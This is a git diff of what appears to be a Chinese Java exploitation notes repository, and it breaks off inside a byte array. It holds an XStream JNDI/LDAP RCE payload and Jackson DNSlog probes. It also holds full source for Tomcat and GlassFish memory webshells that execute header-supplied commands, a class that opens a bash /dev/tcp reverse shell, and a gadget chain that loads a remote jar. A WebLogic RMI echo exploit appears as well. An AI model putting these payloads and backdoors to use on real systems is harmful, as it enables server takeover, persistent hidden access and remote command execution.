+++ b/Xstream/exp/RCE/CVE-2021-39146.xml
@@ -0,0 +1,59 @@
+
+
+ test
+
+
+
+
+ 0.75
+ 525
+
+ 700
+ 0
+
+
+
+ zh_CN
+
+
+
+
+
+
+
+
+
+
+ 0.75
+ 525
+
+ 700
+ 1
+ lazyValue
+
+ javax.naming.InitialContext
+ doLookup
+
+ ldap://127.0.0.1:15000/#evil
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+ test
+
+ test
+
+
+
\ No newline at end of file
diff --git a/Xstream/exp/XXE/CVE-2016-3674.xml b/Xstream/exp/XXE/CVE-2016-3674.xml
new file mode 100644
index 0000000..148ca8c
--- /dev/null
+++ b/Xstream/exp/XXE/CVE-2016-3674.xml
@@ -0,0 +1 @@
+no find..
\ No newline at end of file
diff --git a/apache storm/Readme.md b/apache storm/Readme.md
new file mode 100644
index 0000000..c269064
--- /dev/null
+++ b/apache storm/Readme.md
@@ -0,0 +1,21 @@
+# apache storm
+
+## 环境搭建
+
+https://blog.51cto.com/u_13870740/3445168
+
+https://github.com/heibaiying/BigData-Notes/blob/master/notes/installation/Storm%E5%8D%95%E6%9C%BA%E7%8E%AF%E5%A2%83%E6%90%AD%E5%BB%BA.md
+
+```
+nohup bash storm dev-zookeeper & bash storm nimbus & bash storm supervisor &bash storm ui & bash storm logviewer &
+```
+
+## 漏洞分析
+
+https://paper.seebug.org/1780/#0x03
+
+https://blog.noah.360.net/apache-storm-vulnerability-analysis/
+
+https://y4er.com/posts/apache-storm-two-cve/
+
+**自己尝试反序列化并没有成功cb,环境是2.1.0**
diff --git a/hadoop/Readme.md b/hadoop/Readme.md
new file mode 100644
index 0000000..7e168b6
--- /dev/null
+++ b/hadoop/Readme.md
@@ -0,0 +1,21 @@
+# Hadoop
+
+[【安全风险通告】Apache Hadoop Yarn RPC未授权访问漏洞安全风险通告](https://mp.weixin.qq.com/s?__biz=MzU5NDgxODU1MQ==&mid=2247495027&idx=1&sn=5758a6717309a55e09f184e5bae82c75&chksm=fe79c9ebc90e40fd6d0c3f0bd21ce92f53b4f58aa0ee07d0c005ca85a28d2cfd70f61c40fae7&mpshare=1&scene=23&srcid=1123jW67UF5RY5e5aOeDZ5ha&sharer_sharetime=1637638003307&sharer_shareid=33a823b10ae99f33a60db621d83241cb#rd)
+
+[Hadoop Yarn RPC RCE 复现](https://mp.weixin.qq.com/s/lVl5HnVuZyLTIeSrbw1cuA)
+
+[Hadoop Yarn RPC未授权RCE(含一键利用工具)](https://mp.weixin.qq.com/s?__biz=MzkwNDI1NDUwMQ==&mid=2247485150&idx=1&sn=c31937fdb3e92ae3951a98b7967032b2&chksm=c0888394f7ff0a8224a8984f2cb4935f9aa1e7d243c4b512c488600d8fef0b6ec16a2b345865&token=616099468&lang=zh_CN#rd)
+
+[Hadoop Yarn RPC未授权访问漏洞复现](https://zgao.top/hadoop-yarn-rpc%E6%9C%AA%E6%8E%88%E6%9D%83%E8%AE%BF%E9%97%AE%E6%BC%8F%E6%B4%9E%E5%A4%8D%E7%8E%B0/)
+
+[GHSL-2022-012: Arbitrary file write during TAR extraction in Apache Hadoop - CVE-2022-26612](https://securitylab.github.com/advisories/GHSL-2022-012_Apache_Hadoop/)
+
+## 环境搭建
+
+org.apache.hadoop.yarn.util.resource.ResourceUtils
+
+```
+docker pull kpli0rn/hadoop-rpc-vuln:3.3.0
+docker run -d --name yarn -p 8042:8042 -p 8032:8032 kpli0rn/hadoop-rpc-vuln:3.3.0
+```
+
diff --git a/image.png b/image.png
new file mode 100644
index 0000000..2fb9c15
Binary files /dev/null and b/image.png differ
diff --git a/jackson/Readme.md b/jackson/Readme.md
new file mode 100644
index 0000000..2f9d12f
--- /dev/null
+++ b/jackson/Readme.md
@@ -0,0 +1,36 @@
+# jackson
+
+http://www.lmxspace.com/2019/07/30/Jackson-%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%B1%87%E6%80%BB/
+
+https://www.i4k.xyz/article/caiqiiqi/105193411
+
+https://github.com/cowtowncoder/jackson-compat-minor/
+
+## 不出网利用
+1.TemplatesImpl
+
+http://www.lmxspace.com/2019/07/30/Jackson-%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%B1%87%E6%80%BB/#TemplatesImpl
+
+2.c3p0
+
+http://redteam.today/2020/04/18/c3p0%E7%9A%84%E4%B8%89%E4%B8%AAgadget/
+
+## 验证存在jackson漏洞
+
+```java
+ObjectMapper objectMapper = new ObjectMapper();
+objectMapper.enableDefaultTyping();
+/**
+objectMapper.enableDefaultTyping(ObjectMapper.DefaultTyping.NON_FINAL);
+objectMapper.enableDefaultTyping(ObjectMapper.DefaultTyping.JAVA_LANG_OBJECT);
+objectMapper.enableDefaultTyping(ObjectMapper.DefaultTyping.OBJECT_AND_NON_CONCRETE);
+objectMapper.enableDefaultTyping(ObjectMapper.DefaultTyping.NON_CONCRETE_AND_ARRAYS);
+*/
+String jsonResult = "[\"java.util.HashSet\",[[\"java.net.URL\",\"http://1wc3gw.dnslog.cn\"]]]";
+objectMapper.readValue(jsonResult,Object.class);
+```
+其他exp
+```java
+["java.net.InetSocketAddress","nqigwr.dnslog.cn"]
+["java.net.InetAddress","ap6d50.dnslog.cn"]
+```
diff --git "a/java\345\206\205\345\255\230\351\251\254/Readme.md" "b/java\345\206\205\345\255\230\351\251\254/Readme.md"
index 18e7930..4859d8a 100644
--- "a/java\345\206\205\345\255\230\351\251\254/Readme.md"
+++ "b/java\345\206\205\345\255\230\351\251\254/Readme.md"
@@ -1 +1,27 @@
# java内存马
+
++ [Java Web中的Servlet+Filter+Listener注册方式](https://www.jianshu.com/p/cbe1c3174d41)
++ [awd shiro内存木马注入](https://github.com/KpLi0rn/ShiroVulnEnv)
++ [基于tomcat的内存 Webshell 无文件攻击技术](https://xz.aliyun.com/t/7388)
++ [JavaWeb 内存马一周目通关攻略](https://su18.org/post/memory-shell/)
++ [JavaWeb 内存马二周目通关攻略](https://su18.org/post/memory-shell-2/)
++ [【原创】利用“进程注入”实现无文件不死webshell](https://www.cnblogs.com/rebeyond/p/9686213.html)
+
+## springboot
++ [利用 intercetor 注入 spring 内存 webshell](https://landgrey.me/blog/19/)
+
+## spring
++ [基于内存 Webshell 的无文件攻击技术研究](https://landgrey.me/blog/12/)
++ [前尘——内存中无处可寻的木马](https://www.anquanke.com/post/id/253475)
+
+## 后门
++ [一种tomcat中间件留持久化后门的思路](https://gv7.me/articles/2021/an-idea-of-keeping-persistent-backdoor-in-tomcat-middleware/)
++ [JavaWeb 内存马二周目通关攻略](https://tttang.com/archive/1313)
+
+## jsp
++ [](https://xz.aliyun.com/t/10372)
+
+## 查杀
++ [查杀Java web filter型内存马](https://gv7.me/articles/2020/kill-java-web-filter-memshell/)
++ [Filter/Servlet型内存马的扫描抓捕与查杀](https://gv7.me/articles/2020/filter-servlet-type-memshell-scan-capture-and-kill/)
++ [基于javaAgent内存马检测查杀指南](https://mp.weixin.qq.com/s/Whta6akjaZamc3nOY1Tvxg#at)
diff --git "a/java\345\206\205\345\255\230\351\251\254/Upgrade/Readme.md" "b/java\345\206\205\345\255\230\351\251\254/Upgrade/Readme.md"
new file mode 100644
index 0000000..596af80
--- /dev/null
+++ "b/java\345\206\205\345\255\230\351\251\254/Upgrade/Readme.md"
@@ -0,0 +1,99 @@
+# Upgrade
+
+参考:https://tttang.com/archive/1709
+
+```java
+package com.example.demo;
+
+
+import org.apache.catalina.connector.Connector;
+import org.apache.catalina.connector.Request;
+import org.apache.catalina.connector.RequestFacade;
+import org.apache.coyote.Adapter;
+import org.apache.coyote.Processor;
+import org.apache.coyote.Response;
+import org.apache.coyote.UpgradeProtocol;
+import org.apache.coyote.http11.AbstractHttp11Protocol;
+import org.apache.coyote.http11.upgrade.InternalHttpUpgradeHandler;
+import org.apache.tomcat.util.net.SocketWrapperBase;
+import org.springframework.web.context.request.RequestContextHolder;
+import org.springframework.web.context.request.ServletRequestAttributes;
+
+import javax.servlet.http.HttpServletRequest;
+import java.lang.reflect.Field;
+import java.nio.ByteBuffer;
+import java.util.HashMap;
+
+public class UpgradeMemShell implements UpgradeProtocol {
+
+ public UpgradeMemShell() throws Exception{
+ HttpServletRequest request = ((ServletRequestAttributes) (RequestContextHolder.currentRequestAttributes())).getRequest();
+ RequestFacade rf = (RequestFacade) request;
+ Field requestField = RequestFacade.class.getDeclaredField("request");
+ requestField.setAccessible(true);
+ Request request1 = (Request) requestField.get(rf);
+
+ Field connector = Request.class.getDeclaredField("connector");
+ connector.setAccessible(true);
+ Connector realConnector = (Connector) connector.get(request1);
+
+ Field protocolHandlerField = Connector.class.getDeclaredField("protocolHandler");
+ protocolHandlerField.setAccessible(true);
+ AbstractHttp11Protocol handler = (AbstractHttp11Protocol) protocolHandlerField.get(realConnector);
+
+ HashMap upgradeProtocols = null;
+ Field upgradeProtocolsField = AbstractHttp11Protocol.class.getDeclaredField("httpUpgradeProtocols");
+ upgradeProtocolsField.setAccessible(true);
+ upgradeProtocols = (HashMap) upgradeProtocolsField.get(handler);
+ upgradeProtocols.put("http2.0", this);
+ upgradeProtocolsField.set(handler, upgradeProtocols);
+ System.out.println("success");
+ }
+
+ @Override
+ public String getHttpUpgradeName(boolean b) {
+ return null;
+ }
+
+ @Override
+ public byte[] getAlpnIdentifier() {
+ return new byte[0];
+ }
+
+ @Override
+ public String getAlpnName() {
+ return null;
+ }
+
+ @Override
+ public Processor getProcessor(SocketWrapperBase> socketWrapperBase, Adapter adapter) {
+ return null;
+ }
+
+ @Override
+ public InternalHttpUpgradeHandler getInternalUpgradeHandler(Adapter adapter, org.apache.coyote.Request request) {
+ return null;
+ }
+
+ public boolean accept(org.apache.coyote.Request request) {
+ System.out.println("MyUpgrade.accept");
+ String p = request.getHeader("cmd");
+ try {
+ String[] cmd = System.getProperty("os.name").toLowerCase().contains("windows") ? new String[]{"cmd.exe", "/c", p} : new String[]{"/bin/sh", "-c", p};
+ Field response = org.apache.coyote.Request.class.getDeclaredField("response");
+ response.setAccessible(true);
+ Response resp = (Response) response.get(request);
+ byte[] result = new java.util.Scanner(new ProcessBuilder(cmd).start().getInputStream()).useDelimiter("\\A").next().getBytes();
+ resp.doWrite(ByteBuffer.wrap(result));
+ } catch (Exception e){}
+ return false;
+ }
+}
+```
+
+使用
+```txt
+Upgrade: http2.o
+cmd: calc
+Connection: Upgrade
+```
diff --git "a/java\345\233\236\346\230\276/GlassFish/Echo_Request.java" "b/java\345\233\236\346\230\276/GlassFish/Echo_Request.java"
new file mode 100644
index 0000000..cda1642
--- /dev/null
+++ "b/java\345\233\236\346\230\276/GlassFish/Echo_Request.java"
@@ -0,0 +1,81 @@
+package com.firebasky.exp;
+
+/**
+ * TargetObject = {org.glassfish.grizzly.threadpool.DefaultWorkerThread}
+ * ---> group = {java.lang.ThreadGroup}
+ * ---> threads = {class [Ljava.lang.Thread;}
+ * ---> [17] = {org.glassfish.grizzly.threadpool.DefaultWorkerThread}
+ * ---> objectCache = {org.glassfish.grizzly.ThreadCache$ObjectCache}
+ * ---> objectCacheElements = {class [Lorg.glassfish.grizzly.ThreadCache$ObjectCacheElement;}
+ * ---> [3] = {org.glassfish.grizzly.ThreadCache$ObjectCacheElement}
+ * ---> cache = {class [Ljava.lang.Object;}
+ * ---> [0] = {org.glassfish.grizzly.http.server.Request}
+ */
+
+
+/**
+ * GlassFish 回显 有问题获得的res为null,等待完善
+ */
+public class Echo_Request {
+ static {
+ try {
+ getResponse();
+ Runtime.getRuntime().exec("calc");
+ } catch (Exception e) {
+ e.printStackTrace();
+ }
+ }
+ public static void getResponse() throws Exception {
+ Thread thread = Thread.currentThread();
+ java.lang.reflect.Field threadLocals = Thread.class.getDeclaredField("group");
+ threadLocals.setAccessible(true);
+ Object threadLocalMap = threadLocals.get(thread);
+
+ Class threadLocalMapClazz = Class.forName("java.lang.ThreadGroup");
+ java.lang.reflect.Field tableField = threadLocalMapClazz.getDeclaredField("threads");
+ tableField.setAccessible(true);
+ Object[] objects = (Object[]) tableField.get(threadLocalMap);
+
+ Class entryClass = Class.forName("org.glassfish.grizzly.threadpool.DefaultWorkerThread");
+ java.lang.reflect.Field entryValueField = entryClass.getDeclaredField("objectCache");
+ entryValueField.setAccessible(true);
+
+ for (Object object : objects) {
+ if (object != null) {
+ Object valueObject = entryValueField.get(object);
+ if (valueObject != null) {
+ if (valueObject.getClass().getName().equals("org.glassfish.grizzly.ThreadCache$ObjectCache")) {
+ java.lang.reflect.Field objectCacheElements = valueObject.getClass().getDeclaredField("objectCacheElements");
+ objectCacheElements.setAccessible(true);
+ Object[] objects1 = (Object[]) objectCacheElements.get(valueObject);
+
+ Class> aClass = Class.forName("org.glassfish.grizzly.ThreadCache$ObjectCacheElement");
+ java.lang.reflect.Field cache = aClass.getDeclaredField("cache");
+ cache.setAccessible(true);
+
+ for (Object o : objects1) {
+ if (o != null) {
+ Object[] objects2 = (Object[]) cache.get(o);
+ for (Object o1 : objects2) {
+ if(o1.getClass().getName().equals("org.glassfish.grizzly.http.server.Request")){
+ //response
+ org.glassfish.grizzly.http.server.Response getResponse = (org.glassfish.grizzly.http.server.Response) o1.getClass().getMethod("getResponse").invoke(o1);
+ //request
+ org.glassfish.grizzly.http.server.Request getRequest = (org.glassfish.grizzly.http.server.Request) o1.getClass().getMethod("getRequest").invoke(o1);
+ String cmd1 = getRequest.getHeader("cmd");
+ String[] cmd = !System.getProperty("os.name").toLowerCase().contains("win") ? new String[]{"sh", "-c", cmd1} : new String[]{"cmd.exe", "/c",cmd1};
+ java.io.InputStream in = Runtime.getRuntime().exec(cmd).getInputStream();
+ java.util.Scanner s = new java.util.Scanner(in).useDelimiter("\\a");
+ String output = s.hasNext() ? s.next() : "";
+ getResponse.getWriter().write(output);
+ getResponse.getWriter().write("by Firebasky");
+ }
+ }
+ }
+ }
+ }
+ }
+ }
+ }
+ }
+}
diff --git "a/java\345\233\236\346\230\276/HELP.md" "b/java\345\233\236\346\230\276/HELP.md"
new file mode 100644
index 0000000..f10aa2d
--- /dev/null
+++ "b/java\345\233\236\346\230\276/HELP.md"
@@ -0,0 +1,19 @@
+# Getting Started
+
+### Reference Documentation
+
+For further reference, please consider the following sections:
+
+* [Official Apache Maven documentation](https://maven.apache.org/guides/index.html)
+* [Spring Boot Maven Plugin Reference Guide](https://docs.spring.io/spring-boot/docs/2.5.5/maven-plugin/reference/html/)
+* [Create an OCI image](https://docs.spring.io/spring-boot/docs/2.5.5/maven-plugin/reference/html/#build-image)
+* [Spring Web](https://docs.spring.io/spring-boot/docs/2.5.5/reference/htmlsingle/#boot-features-developing-web-applications)
+
+### Guides
+
+The following guides illustrate how to use some features concretely:
+
+* [Building a RESTful Web Service](https://spring.io/guides/gs/rest-service/)
+* [Serving Web Content with Spring MVC](https://spring.io/guides/gs/serving-web-content/)
+* [Building REST services with Spring](https://spring.io/guides/tutorials/bookmarks/)
+
diff --git "a/java\345\233\236\346\230\276/Readme.md" "b/java\345\233\236\346\230\276/Readme.md"
new file mode 100644
index 0000000..6b74f01
--- /dev/null
+++ "b/java\345\233\236\346\230\276/Readme.md"
@@ -0,0 +1,352 @@
+# java回显
+
+**2022/5/2更新,发现fnmsd师傅弄跟dsf的回显感觉很np**
+```
+https://blog.csdn.net/fnmsd/article/details/106709736
+https://blog.csdn.net/fnmsd/article/details/106890242
+```
+
+发现个好项目 https://github.com/feihong-cs/Java-Rce-Echo
+
+>一般web服务是想办法获得response对象,可以参考[2021RCTF ezshell](https://github.com/Firebasky/ctf-Challenge/tree/main/RCTF-2021-EZshell)
+
+### 异常回显
+
+我们将命令执行的结果给Exception(result),因为Exception可以传递string,在抛出异常throw e;之后在命令执行的过程中如果目标的代码逻辑存在过程中错误抛出异常就可以看到回显内容
+
+```java
+import java.io.BufferedReader;
+import java.io.InputStreamReader;
+public class RunCheckConfig {
+public RunCheckConfig(String args) throws Exception
+{
+Process proc = Runtime.getRuntime().exec(args);
+BufferedReader br = new BufferedReader(new InputStreamReader(proc.getInputStream()));
+StringBuffer sb = new StringBuffer();
+String line;
+while ((line = br.readLine()) != null)
+{
+sb.append(line).append("\n");
+}
+String result = sb.toString();
+Exception e=new Exception(result);
+throw e;
+}
+}
+```
+**目前暂时没有找到真实的demo.....**
+
+### URLClassLoader抛出异常
+
+```java
+package exploit.firebasky;
+
+import java.io.BufferedInputStream;
+import java.io.ByteArrayOutputStream;
+import java.io.IOException;
+import java.io.InputStream;
+
+public class ErrorBaseExec
+{
+ public ErrorBaseExec(String cmd) throws Exception{
+ do_exec(cmd);
+ }
+
+ public static byte[] readBytes(InputStream in)
+ throws IOException
+ {
+ BufferedInputStream bufin = new BufferedInputStream(in);
+ int buffSize = 1024;
+ ByteArrayOutputStream out = new ByteArrayOutputStream(buffSize);
+ byte[] temp = new byte[buffSize];
+ int size = 0;
+ while ((size = bufin.read(temp)) != -1) {
+ out.write(temp, 0, size);
+ }
+ bufin.close();
+
+ byte[] content = out.toByteArray();
+
+ return content;
+ }
+
+ public static void do_exec(String cmd)
+ throws Exception
+ {
+ Process p = Runtime.getRuntime().exec(cmd);
+ byte[] stderr = readBytes(p.getErrorStream());
+ byte[] stdout = readBytes(p.getInputStream());
+ int exitValue = p.waitFor();
+ if (exitValue == 0) {
+ throw new Exception("-----------------\r\n" + new String(stdout) + "-----------------\r\n");
+ }
+ throw new Exception("-----------------\r\n" + new String(stderr) + "-----------------\r\n");
+ }
+
+ public static void main(String[] args)
+ throws Exception
+ {
+ do_exec(args[0]);
+ }
+}
+```
+编译成jar之后可以封装到cc利用链组件中
+```java
+public static Transformer[] EchoCC() throws Exception {
+ Transformer[] transformers = new Transformer[]{
+ new ConstantTransformer(URLClassLoader.class),
+ new InvokerTransformer("getConstructor",
+ new Class[]{Class[].class},
+ new Object[]{new Class[]{URL[].class}}),
+ new InvokerTransformer("newInstance",
+ new Class[]{Object[].class},
+ new Object[]{new Object[]{new URL[]{new URL("http://127.0.0.1:8099/ErrorBaseExec.jar")}}}),
+ new InvokerTransformer("loadClass",
+ new Class[]{String.class},
+ new Object[]{"exploit.firebasky.ErrorBaseExec"}),
+ new InvokerTransformer("getConstructor",
+ new Class[]{Class[].class},
+ new Object[]{new Class[]{String.class}}),
+ new InvokerTransformer("newInstance",
+ new Class[]{Object[].class},
+ new Object[]{new String[]{"ipconfig"}})
+ };
+ return transformers;
+ }
+```
+### defineClass
+其实就是通过ClassLoader去执行(反射)我们自定义类的字节码。
+
+```java
+public static String FiletoBytes(String filename) throws Exception{
+ String buf = null;
+ File file = new File(filename);
+ FileInputStream fis = null;
+ try {
+ fis = new FileInputStream(file);
+ int size = fis.available();
+ byte[] bytes = new byte[size];
+ fis.read(bytes);
+ buf = Arrays.toString(bytes);
+ fis.close();
+ return buf;
+ } catch (FileNotFoundException e) {
+ e.printStackTrace();
+ } catch (IOException e) {
+ e.printStackTrace();
+ }
+ return buf;
+ }
+
+@Override
+ protected Class> findClass(String name) throws ClassNotFoundException {
+ if (name == myClassName) {
+ System.out.println("加载" + name + "类");
+ return defineClass(myClassName, bs, 0, bs.length);
+ }
+ return super.findClass(name);
+ }
+```
+
+### 中间件回显
+由于没有是研究tomcat等容器的回显。能力有限。
+
+
+>中间件而言多数重写了thread类,在thread中保存了req和resp,可以通过获取当前线程,在resp中写入回显结果
+
+
+
+参考:https://l3yx.github.io/2020/03/31/Java-Web%E4%BB%A3%E7%A0%81%E6%89%A7%E8%A1%8C%E6%BC%8F%E6%B4%9E%E5%9B%9E%E6%98%BE%E6%80%BB%E7%BB%93/
+
+直接用项目的代码。
+
+在利用tempimpl创建类的时候可以使用如下代码
+```java
+import com.sun.org.apache.xalan.internal.xsltc.DOM;
+import com.sun.org.apache.xalan.internal.xsltc.TransletException;
+import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
+import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
+import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
+import java.io.IOException;
+
+public class evilclass extends AbstractTranslet {
+ static {
+ try{
+ Runtime.getRuntime().exec(new String[]{"/bin/bash","-c","exec 5<>/dev/tcp/ip/port;cat <&5 | while read line; do $line 2>&5 >&5; done"});
+ }catch (IOException e){
+ try{
+ Runtime.getRuntime().exec(new String[]{"cmd", "/c", "calc"});
+ }catch (IOException ee){
+ }
+ }
+ }
+ @Override
+ public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
+
+ }
+
+ @Override
+ public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
+
+ }
+}
+```
+
+### RMI绑定实例
+通过加载执行代码,相当于创建了一个server的rmi实现了定义接口的方法返回是返回执行命令的结果,然后客户端去调用创建的rmi的接口方法,获得返回值。
+
+可以参考weblogic回显通过rmi.
+```java
+
+package com.test;
+
+import com.supeream.serial.Reflections;
+import com.supeream.serial.SerialDataGenerator;
+import com.supeream.serial.Serializables;
+import com.supeream.ssl.WeblogicTrustManager;
+import com.supeream.weblogic.T3ProtocolOperation;
+import org.apache.commons.collections.Transformer;
+import org.apache.commons.collections.functors.ChainedTransformer;
+import org.apache.commons.collections.functors.ConstantTransformer;
+import org.apache.commons.collections.functors.InvokerTransformer;
+import org.apache.commons.collections.map.LazyMap;
+import org.mozilla.classfile.DefiningClassLoader;
+import weblogic.cluster.singleton.ClusterMasterRemote;
+import weblogic.corba.utils.MarshalledObject;
+import weblogic.jndi.Environment;
+
+import javax.naming.Context;
+import java.io.ByteArrayOutputStream;
+import java.io.ObjectOutputStream;
+import java.lang.reflect.InvocationHandler;
+import java.lang.reflect.Proxy;
+import java.util.HashMap;
+import java.util.HashSet;
+import java.util.Map;
+
+public class Main {
+ private static String host = "172.16.2.129";
+ private static String port = "7001";
+ private static final String classname = "com.test.payload.RemoteImpl";
+ private static final byte[] bs = new byte[]{
+ -54, -2, -70, -66, 0, 0, 0, 50, 0, -116, 10, 0, 32, 0, 83, 7, 0, 84, 10, 0, 2, 0, 83, 7, 0, 85, 10, 0, 4, 0, 83, 8, 0, 86, 11, 0, 87, 0, 88, 10, 0, 2, 0, 89, 7, 0, 90, 10, 0, 9, 0, 91, 7, 0, 92, 10, 0, 11, 0, 83, 8, 0, 93, 11, 0, 94, 0, 95, 8, 0, 96, 7, 0, 97, 10, 0, 16, 0, 98, 10, 0, 16, 0, 99, 10, 0, 16, 0, 100, 7, 0, 101, 7, 0, 102, 10, 0, 103, 0, 104, 10, 0, 21, 0, 105, 10, 0, 20, 0, 106, 7, 0, 107, 10, 0, 25, 0, 83, 10, 0, 20, 0, 108, 10, 0, 25, 0, 109, 8, 0, 110, 10, 0, 25, 0, 111, 10, 0, 9, 0, 112, 7, 0, 113, 7, 0, 114, 1, 0, 6, 60, 105, 110, 105, 116, 62, 1, 0, 3, 40, 41, 86, 1, 0, 4, 67, 111, 100, 101, 1, 0, 15, 76, 105, 110, 101, 78, 117, 109, 98, 101, 114, 84, 97, 98, 108, 101, 1, 0, 18, 76, 111, 99, 97, 108, 86, 97, 114, 105, 97, 98, 108, 101, 84, 97, 98, 108, 101, 1, 0, 4, 116, 104, 105, 115, 1, 0, 29, 76, 99, 111, 109, 47, 116, 101, 115, 116, 47, 112, 97, 121, 108, 111, 97, 100, 47, 82, 101, 109, 111, 116, 101, 73, 109, 112, 108, 59, 1, 0, 4, 109, 97, 105, 110, 1, 0, 22, 40, 91, 76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 83, 116, 114, 105, 110, 103, 59, 41, 86, 1, 0, 7, 99, 111, 110, 116, 101, 120, 116, 1, 0, 22, 76, 106, 97, 118, 97, 120, 47, 110, 97, 109, 105, 110, 103, 47, 67, 111, 110, 116, 101, 120, 116, 59, 1, 0, 1, 101, 1, 0, 21, 76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 69, 120, 99, 101, 112, 116, 105, 111, 110, 59, 1, 0, 4, 97, 114, 103, 115, 1, 0, 19, 91, 76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 83, 116, 114, 105, 110, 103, 59, 1, 0, 6, 114, 101, 109, 111, 116, 101, 1, 0, 13, 83, 116, 97, 99, 107, 77, 97, 112, 84, 97, 98, 108, 101, 7, 0, 48, 7, 0, 84, 7, 0, 90, 1, 0, 17, 115, 101, 116, 83, 101, 114, 118, 101, 114, 76, 111, 99, 97, 116, 105, 111, 110, 1, 0, 39, 40, 76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 83, 116, 114, 105, 110, 103, 59, 76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 83, 116, 114, 105, 110, 103, 59, 41, 86, 1, 0, 3, 99, 109, 100, 1, 0, 18, 76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 83, 116, 114, 105, 110, 103, 59, 1, 0, 10, 69, 120, 99, 101, 112, 116, 105, 111, 110, 115, 7, 0, 115, 1, 0, 17, 103, 101, 116, 83, 101, 114, 118, 101, 114, 76, 111, 99, 97, 116, 105, 111, 110, 1, 0, 38, 40, 76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 83, 116, 114, 105, 110, 103, 59, 41, 76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 83, 116, 114, 105, 110, 103, 59, 1, 0, 4, 99, 109, 100, 115, 1, 0, 16, 76, 106, 97, 118, 97, 47, 117, 116, 105, 108, 47, 76, 105, 115, 116, 59, 1, 0, 14, 112, 114, 111, 99, 101, 115, 115, 66, 117, 105, 108, 100, 101, 114, 1, 0, 26, 76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 80, 114, 111, 99, 101, 115, 115, 66, 117, 105, 108, 100, 101, 114, 59, 1, 0, 4, 112, 114, 111, 99, 1, 0, 19, 76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 80, 114, 111, 99, 101, 115, 115, 59, 1, 0, 2, 98, 114, 1, 0, 24, 76, 106, 97, 118, 97, 47, 105, 111, 47, 66, 117, 102, 102, 101, 114, 101, 100, 82, 101, 97, 100, 101, 114, 59, 1, 0, 2, 115, 98, 1, 0, 24, 76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 83, 116, 114, 105, 110, 103, 66, 117, 102, 102, 101, 114, 59, 1, 0, 4, 108, 105, 110, 101, 1, 0, 22, 76, 111, 99, 97, 108, 86, 97, 114, 105, 97, 98, 108, 101, 84, 121, 112, 101, 84, 97, 98, 108, 101, 1, 0, 36, 76, 106, 97, 118, 97, 47, 117, 116, 105, 108, 47, 76, 105, 115, 116, 60, 76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 83, 116, 114, 105, 110, 103, 59, 62, 59, 7, 0, 116, 7, 0, 117, 7, 0, 97, 7, 0, 118, 7, 0, 101, 7, 0, 107, 1, 0, 10, 83, 111, 117, 114, 99, 101, 70, 105, 108, 101, 1, 0, 36, 82, 101, 109, 111, 116, 101, 73, 109, 112, 108, 46, 106, 97, 118, 97, 32, 102, 114, 111, 109, 32, 73, 110, 112, 117, 116, 70, 105, 108, 101, 79, 98, 106, 101, 99, 116, 12, 0, 34, 0, 35, 1, 0, 27, 99, 111, 109, 47, 116, 101, 115, 116, 47, 112, 97, 121, 108, 111, 97, 100, 47, 82, 101, 109, 111, 116, 101, 73, 109, 112, 108, 1, 0, 27, 106, 97, 118, 97, 120, 47, 110, 97, 109, 105, 110, 103, 47, 73, 110, 105, 116, 105, 97, 108, 67, 111, 110, 116, 101, 120, 116, 1, 0, 4, 89, 52, 101, 114, 7, 0, 119, 12, 0, 120, 0, 121, 12, 0, 60, 0, 61, 1, 0, 19, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 69, 120, 99, 101, 112, 116, 105, 111, 110, 12, 0, 122, 0, 35, 1, 0, 19, 106, 97, 118, 97, 47, 117, 116, 105, 108, 47, 65, 114, 114, 97, 121, 76, 105, 115, 116, 1, 0, 9, 47, 98, 105, 110, 47, 98, 97, 115, 104, 7, 0, 117, 12, 0, 123, 0, 124, 1, 0, 2, 45, 99, 1, 0, 24, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 80, 114, 111, 99, 101, 115, 115, 66, 117, 105, 108, 100, 101, 114, 12, 0, 34, 0, 125, 12, 0, 126, 0, 127, 12, 0, -128, 0, -127, 1, 0, 22, 106, 97, 118, 97, 47, 105, 111, 47, 66, 117, 102, 102, 101, 114, 101, 100, 82, 101, 97, 100, 101, 114, 1, 0, 25, 106, 97, 118, 97, 47, 105, 111, 47, 73, 110, 112, 117, 116, 83, 116, 114, 101, 97, 109, 82, 101, 97, 100, 101, 114, 7, 0, 118, 12, 0, -126, 0, -125, 12, 0, 34, 0, -124, 12, 0, 34, 0, -123, 1, 0, 22, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 83, 116, 114, 105, 110, 103, 66, 117, 102, 102, 101, 114, 12, 0, -122, 0, -121, 12, 0, -120, 0, -119, 1, 0, 1, 10, 12, 0, -118, 0, -121, 12, 0, -117, 0, -121, 1, 0, 16, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 79, 98, 106, 101, 99, 116, 1, 0, 46, 119, 101, 98, 108, 111, 103, 105, 99, 47, 99, 108, 117, 115, 116, 101, 114, 47, 115, 105, 110, 103, 108, 101, 116, 111, 110, 47, 67, 108, 117, 115, 116, 101, 114, 77, 97, 115, 116, 101, 114, 82, 101, 109, 111, 116, 101, 1, 0, 24, 106, 97, 118, 97, 47, 114, 109, 105, 47, 82, 101, 109, 111, 116, 101, 69, 120, 99, 101, 112, 116, 105, 111, 110, 1, 0, 16, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 83, 116, 114, 105, 110, 103, 1, 0, 14, 106, 97, 118, 97, 47, 117, 116, 105, 108, 47, 76, 105, 115, 116, 